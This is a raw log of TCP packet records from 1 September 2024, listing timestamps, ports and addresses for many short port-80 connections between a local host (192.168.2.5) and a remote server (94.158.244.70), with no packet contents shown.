Sep 1, 2024 23:59:09.234821081 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.234996080 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.239814997 CEST	80	49885	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.591692924 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.596896887 CEST	80	49885	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.827909946 CEST	80	49885	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.872808933 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.960844040 CEST	80	49885	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.013400078 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.091619015 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.091979980 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.096735954 CEST	80	49886	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.096782923 CEST	80	49885	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.096800089 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.096821070 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.096929073 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.101682901 CEST	80	49886	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.450965881 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.456098080 CEST	80	49886	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.669851065 CEST	80	49886	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.763421059 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.793462992 CEST	80	49886	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.872766972 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.916591883 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.919461012 CEST	49887	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.922138929 CEST	80	49886	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.922538996 CEST	49886	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.924518108 CEST	80	49887	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:10.925549030 CEST	49887	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.925657034 CEST	49887	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:10.930504084 CEST	80	49887	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.279112101 CEST	49887	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.284445047 CEST	80	49887	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.498718977 CEST	49887	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.498915911 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.503743887 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.503854036 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.503905058 CEST	80	49887	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.503976107 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.505527973 CEST	49887	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.508738995 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.619168043 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.623985052 CEST	80	49889	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.625663042 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.625807047 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.630527973 CEST	80	49889	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.857693911 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.862575054 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.862658978 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:11.982286930 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:11.987608910 CEST	80	49889	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.079777956 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.201952934 CEST	80	49889	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.209599018 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.211510897 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.326607943 CEST	80	49889	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.326672077 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.448317051 CEST	80	49882	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.448374987 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.463058949 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.463171959 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.463542938 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.468341112 CEST	80	49890	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.468414068 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.468508005 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.469758034 CEST	80	49888	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.469791889 CEST	80	49889	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.469804049 CEST	49888	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.469827890 CEST	49889	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.473270893 CEST	80	49890	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:12.827461958 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:12.832314014 CEST	80	49890	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.070949078 CEST	80	49890	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.139470100 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.202297926 CEST	80	49890	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.323451996 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.324302912 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.328511000 CEST	80	49890	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.328628063 CEST	49890	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.329159975 CEST	80	49891	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.329237938 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.329358101 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.334098101 CEST	80	49891	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.685358047 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:13.690172911 CEST	80	49891	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:13.910711050 CEST	80	49891	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.038439989 CEST	80	49891	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.038494110 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.170764923 CEST	49844	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.170865059 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.170952082 CEST	49852	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.173455000 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.173933983 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.178504944 CEST	80	49891	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.178558111 CEST	49891	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.178718090 CEST	80	49892	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.178774118 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.178899050 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.184021950 CEST	80	49892	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.529103994 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.533910036 CEST	80	49892	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.755475998 CEST	80	49892	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:14.872781038 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:14.880882025 CEST	80	49892	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.010221958 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.010588884 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.015320063 CEST	80	49892	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.015331984 CEST	80	49893	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.015460968 CEST	49892	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.015573025 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.015656948 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.020374060 CEST	80	49893	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.372868061 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.377674103 CEST	80	49893	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.664160967 CEST	80	49893	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.732156992 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.746351957 CEST	80	49893	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.850060940 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.871114016 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.871310949 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.876496077 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.876552105 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.876627922 CEST	80	49893	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:15.876672029 CEST	49893	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.876766920 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:15.881943941 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.232270002 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.576368093 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.664237022 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.664252043 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.664623976 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.665057898 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.665066957 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.666480064 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.795991898 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.796247959 CEST	49895	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.801007032 CEST	80	49895	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.801024914 CEST	80	49894	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:16.801237106 CEST	49894	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.801238060 CEST	49895	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.801367998 CEST	49895	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:16.806073904 CEST	80	49895	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.155488968 CEST	49895	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.160943031 CEST	80	49895	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.217163086 CEST	49895	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.217221022 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.222054958 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.222177982 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.222258091 CEST	80	49895	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.222290039 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.222379923 CEST	49895	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.227062941 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.337201118 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.342065096 CEST	80	49897	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.342276096 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.342443943 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.347162008 CEST	80	49897	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.579490900 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.584930897 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.584942102 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.700999022 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.707143068 CEST	80	49897	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.991278887 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.991358042 CEST	80	49897	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.991497993 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.991558075 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:17.991595030 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:17.991636038 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.050443888 CEST	80	49897	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.050494909 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.167927027 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.168050051 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.168171883 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.173799992 CEST	80	49898	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.173868895 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.173969030 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.174710989 CEST	80	49896	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.174720049 CEST	80	49897	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.174757004 CEST	49896	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.174773932 CEST	49897	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.181087971 CEST	80	49898	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.529093981 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.533925056 CEST	80	49898	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.755217075 CEST	80	49898	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.872781992 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.882364988 CEST	80	49898	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.883691072 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:18.888674021 CEST	80	49898	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:18.888794899 CEST	49898	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.009567022 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.014421940 CEST	80	49899	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.014662981 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.017891884 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.022648096 CEST	80	49899	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.372843027 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.377911091 CEST	80	49899	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.607255936 CEST	80	49899	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.733246088 CEST	80	49899	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.733283997 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.848984003 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.856637001 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.857004881 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.863044024 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.863106012 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.863224983 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.863445997 CEST	80	49899	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:19.863492966 CEST	49899	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:19.868488073 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:20.216656923 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:20.639477968 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.192629099 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.193073988 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.193186998 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.193312883 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.195033073 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.195061922 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.195455074 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.364319086 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.435287952 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.555016041 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.555020094 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.559808016 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.560005903 CEST	80	49900	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.560107946 CEST	49900	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.560108900 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.560950994 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:21.565808058 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:21.919780970 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:22.169657946 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:22.575990915 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:22.848150015 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:22.848378897 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:22.848782063 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:22.848845959 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:22.848963022 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:22.850258112 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:22.850598097 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:22.851105928 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:22.998450041 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:22.998450994 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.003634930 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.003786087 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.003853083 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.003950119 CEST	80	49901	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.004081011 CEST	49901	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.008629084 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.117314100 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.122292042 CEST	80	49903	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.123589039 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.127479076 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.132306099 CEST	80	49903	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.359492064 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.375382900 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.375395060 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.483480930 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.633456945 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.635199070 CEST	80	49903	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.699207067 CEST	80	49903	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.704668999 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.704715967 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:23.825501919 CEST	80	49903	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:23.825609922 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.033314943 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.033447027 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.033900023 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.038386106 CEST	80	49902	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.038444042 CEST	49902	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.038651943 CEST	80	49904	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.038708925 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.038733959 CEST	80	49903	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.038775921 CEST	49903	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.039781094 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.044555902 CEST	80	49904	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.388484001 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.393660069 CEST	80	49904	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.636399984 CEST	80	49904	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.765064955 CEST	80	49904	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.771483898 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.882977962 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.883481026 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.888087034 CEST	80	49904	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.888221025 CEST	49904	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.888386011 CEST	80	49905	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:24.888461113 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.888834000 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:24.893573046 CEST	80	49905	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:25.251502991 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.256895065 CEST	80	49905	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:25.475760937 CEST	80	49905	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:25.579484940 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.598436117 CEST	80	49905	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:25.719084024 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.719361067 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.724168062 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:25.724225044 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.724246979 CEST	80	49905	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:25.724287987 CEST	49905	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.724358082 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:25.729211092 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:26.076024055 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:26.435292006 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.083825111 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.096296072 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.096508980 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.096769094 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.099190950 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.099327087 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.099327087 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.099586010 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.100224972 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.260945082 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.383498907 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.383652925 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.388554096 CEST	80	49907	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.388892889 CEST	80	49906	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.388993025 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.389008999 CEST	49906	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.389189959 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.393943071 CEST	80	49907	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.747848988 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:27.842457056 CEST	80	49907	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:27.964706898 CEST	80	49907	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.075911999 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.093354940 CEST	80	49907	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.210884094 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.211091042 CEST	49908	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.215902090 CEST	80	49908	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.215975046 CEST	49908	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.216072083 CEST	49908	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.216442108 CEST	80	49907	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.216505051 CEST	49907	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.220799923 CEST	80	49908	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.560334921 CEST	49908	80	192.168.2.5	94.158.244.70
